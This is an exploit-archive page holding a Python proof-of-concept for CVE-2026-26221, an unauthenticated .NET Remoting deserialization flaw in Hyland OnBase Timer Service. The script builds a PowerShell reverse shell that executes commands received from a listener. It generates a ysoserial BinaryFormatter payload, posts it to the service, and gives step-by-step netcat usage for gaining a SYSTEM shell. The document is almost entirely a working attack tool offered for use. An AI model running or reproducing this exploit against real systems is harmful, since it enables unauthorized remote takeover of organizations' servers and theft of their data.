4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_cve_2026_26221.py PY
#!/usr/bin/env python3
# Exploit Title: Hyland OnBase Timer Service Unauthenticated .NET Remoting RCE
# Exploit Author: Mohammed Idrees Banyamer
# Vendor Homepage: https://www.hyland.com/en/solutions/products/onbase
# Version: Multiple (affected versions prior to patched releases ~2025-2026)
# Tested on: Windows Server with OnBase Timer Service
# CVE: CVE-2026-26221
# Advisory: Hyland OB2025-03 / VulnCheck advisory
# CVSS: 9.8 (Critical)
#
# Description:
#   Exploits unauthenticated .NET Remoting deserialization vulnerability in
#   Hyland OnBase Workflow/Workview Timer Service (port 8900) allowing remote
#   code execution via BinaryFormatter gadget chains.
#
# Usage:
#   python3 exploit.py <target> --lhost <your_ip> --lport <your_port>
#
# Examples:
#   python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
#   python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001 --endpoint TimerServiceEvents.rem
#
# Options:
#   target                  Target IP or hostname
#   --port                  Target port (default: 8900)
#   --endpoint              Remoting endpoint (default: TimerServiceAPI.rem)
#   --lhost                 Listener IP (required)
#   --lport                 Listener port (required)
#   --gadget                ysoserial gadget (default: TypeConfuseDelegate)
#
# Notes:
#   - Requires ysoserial.net[](https://github.com/pwntester/ysoserial.net)
#   - Start netcat listener before running: nc -lvnp <lport>
#   - Exploit is blind; success = reverse shell connection
#   - Service typically runs as SYSTEM → high-privilege shell
#
# How to Use
#
# Step 1: Start listener
#   nc -lvnp 4444
#
# Step 2: Run the exploit
#   python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
#
# Step 3: When prompted, copy-paste and run the displayed ysoserial command
#   in a separate terminal (Windows or Wine/Mono), then press Enter
#
# Step 4: Wait for reverse shell (usually within seconds if vulnerable)

import argparse
import requests
import sys
import os
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def build_powershell_reverse_shell(lhost: str, lport: int) -> str:
    ps_command = (
        f"$client = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});"
        f"$stream = $client.GetStream();"
        f"[byte[]]$bytes = 0..65535|%{{0}};"
        f"while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;"
        f"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);"
        f"$sendback = (iex $data 2>&1 | Out-String );"
        f"$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';"
        f"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
        f"$stream.Write($sendbyte,0,$sendbyte.Length);"
        f"$stream.Flush()}};"
        f"$client.Close()"
    )
    return ps_command

def print_ysoserial_command(cmd: str, gadget: str = "TypeConfuseDelegate"):
    ysoserial_cmd = (
        f'ysoserial.exe -f BinaryFormatter -g {gadget} '
        f'-c "powershell -nop -exec bypass -c \\"{cmd}\\"" '
        f'-o raw > rev_shell.bin'
    )
    print("\n" + "="*80)
    print("COPY & PASTE THIS COMMAND IN ANOTHER TERMINAL/WINDOW:")
    print(ysoserial_cmd)
    print("="*80)
    print("After it finishes (you should see rev_shell.bin created), press ENTER here...")

def send_payload(target: str, port: int, endpoint: str, payload_path: str):
    url = f"http://{target}:{port}/{endpoint}"
    
    try:
        with open(payload_path, "rb") as f:
            payload = f.read()
        
        print(f"[+] Loaded {len(payload)} bytes BinaryFormatter payload")
        print(f"[+] Sending to {url}")

        headers = {
            "Content-Type": "application/octet-stream",
            "User-Agent": ".NET Remoting",
            "__RequestVerb": "POST",
        }

        r = requests.post(
            url,
            data=payload,
            headers=headers,
            timeout=25,
            allow_redirects=False,
            verify=False
        )

        print(f"[+] HTTP Status: {r.status_code}")
        if r.status_code in (200, 500):
            print("[+] Payload accepted → Deserialization triggered!")
            print("[+] Check your netcat listener for SYSTEM reverse shell!")
        else:
            print(f"[!] Unexpected status code: {r.status_code}")
            print(r.text[:500] if r.text else "[no response body]")

    except Exception as e:
        print(f"[-] Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-26221 Hyland OnBase Timer Service RCE")
    parser.add_argument("target", help="Target IP or hostname")
    parser.add_argument("--port", type=int, default=8900, help="Target port (default: 8900)")
    parser.add_argument("--endpoint", default="TimerServiceAPI.rem",
                        choices=["TimerServiceAPI.rem", "TimerServiceEvents.rem"],
                        help="Remoting endpoint")
    parser.add_argument("--lhost", required=True, help="YOUR IP for reverse shell")
    parser.add_argument("--lport", type=int, required=True, help="YOUR listening port")
    parser.add_argument("--gadget", default="TypeConfuseDelegate",
                        choices=["TypeConfuseDelegate", "TextFormattingRunProperties", "ObjectDataProvider"],
                        help="ysoserial gadget")

    args = parser.parse_args()

    print(f"[+] Start your listener now: nc -lvnp {args.lport}")
    input("Press ENTER when listener is running...")

    ps_cmd = build_powershell_reverse_shell(args.lhost, args.lport)

    print_ysoserial_command(ps_cmd, args.gadget)

    input("\nAfter generating rev_shell.bin, press ENTER to continue...")

    if not os.path.exists("rev_shell.bin"):
        payload_path = input("Enter full path to payload file (rev_shell.bin): ").strip()
    else:
        payload_path = "rev_shell.bin"

    if not os.path.exists(payload_path):
        print("[-] Payload file not found!")
        sys.exit(1)

    send_payload(args.target, args.port, args.endpoint, payload_path)

    print("\n[+] Exploit finished.")
    print("    If no connection → try: --gadget TextFormattingRunProperties or --endpoint TimerServiceEvents.rem")

if __name__ == "__main__":
    main()